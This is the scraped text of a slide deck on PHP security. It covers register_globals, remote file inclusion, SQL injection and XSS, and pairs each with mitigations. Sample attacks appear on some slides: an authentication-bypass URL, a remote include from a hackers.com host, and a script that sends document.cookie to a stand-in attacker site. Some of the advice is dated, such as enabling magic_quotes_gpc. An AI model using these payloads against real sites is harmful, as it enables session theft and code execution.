Downloaded 35 times
![Dynamic paths/files used in require/include statements Example: <?php include “{$_GET[‘path’]}/script.php”; ?> I f set $path to “http://www.hackers.com” via GET, <?php include “http://www.hackers.com/script.php”; ?> Avoid using dynamic paths Always use full path, defined by constants](https://image.slidesharecdn.com/phpsecurity-100823033623-phpapp01/75/Php-security-7-2048.jpg)
Php security
- 1.
- 2. Importance of PHPSecurity Concerns of PHP Security Input Validation Register Global Code Injection SQL injection Cross-site Scripting (XSS)
- 3. Protect server fromcrash Prevent malicious user have root access Protect customer data
- 4. All User Inputsare unreliable and can’t be trusted Solution: Need to Validate any user input before use Validation on the client side is good for the user Validation on the server side is good for security
- 5. When “ register_globals” is set ON, un-initialized variable can be injected via user inputs Example <?php if(authenticate_user()) { $authenticated = true; } - - - - - if($authenticated) { die(“Authentication required”); } ?> If set $authenticated to 1 via GET, http://ffs.com/admin.php?authenticated=1
- 6. Set “ register_globals”Off in php.ini(Disabled by default in versions >= 4.1.0) Alternative to Register Global : SUPER GLOBALS $_GET – data from get requests $_POST – post request data $_COOKIES – cookie information $_FILES – upload file data $_SERVER - server data $_ENV – environment variable $_REQUEST – mix of GET, POST, COOKIE
- 7. Dynamic paths/files usedin require/include statements Example: <?php include “{$_GET[‘path’]}/script.php”; ?> I f set $path to “http://www.hackers.com” via GET, <?php include “http://www.hackers.com/script.php”; ?> Avoid using dynamic paths Always use full path, defined by constants
- 8. Allow a MaliciousSQL code on server Allow Malicious user have root access Removal of data Modification of existing values Denial of service
- 9. MYSQL Prepared Statement - using mysqli::prepare() Validate input data before send to the database addslashes(), mysql_real_escape() magic_quotes_gpc - Set to ON error_reporting - Set to E_ALL display_error – Set to ON in development, OFF in production log_errors – Set to ON in production error_log – Set to the desired location of the error log
- 10. Inject HTML/Script ina page, Pass a request to another Site Session take-over Password theft User tracking by 3 rd Parties Example: <script>document.location = "http://cookiehaker.com/xss.php?"+document.cookie</script>
- 11. Server Side Validationfor all Input Data htmlspecialchars() – encodes ‘,”,<,>,& htmlentities() – Convert all applicable chars to HTML entities strip_tags() – Remove HTML and PHP tags
- 12. XSS Me - https://addons.mozilla.org/en-US/firefox/addon/7598/ Web Developer Tool Firefox – https://addons.mozilla.org/en-US/firefox/addon/60/ IE - http://www.microsoft.com/downloads/details.aspx? FamilyID=E59C3964-672D-4511-BB3E-2D5E1DB91038 Firebug - https://addons.mozilla.org/en-US/firefox/addon/1843/
- 13.
- 14.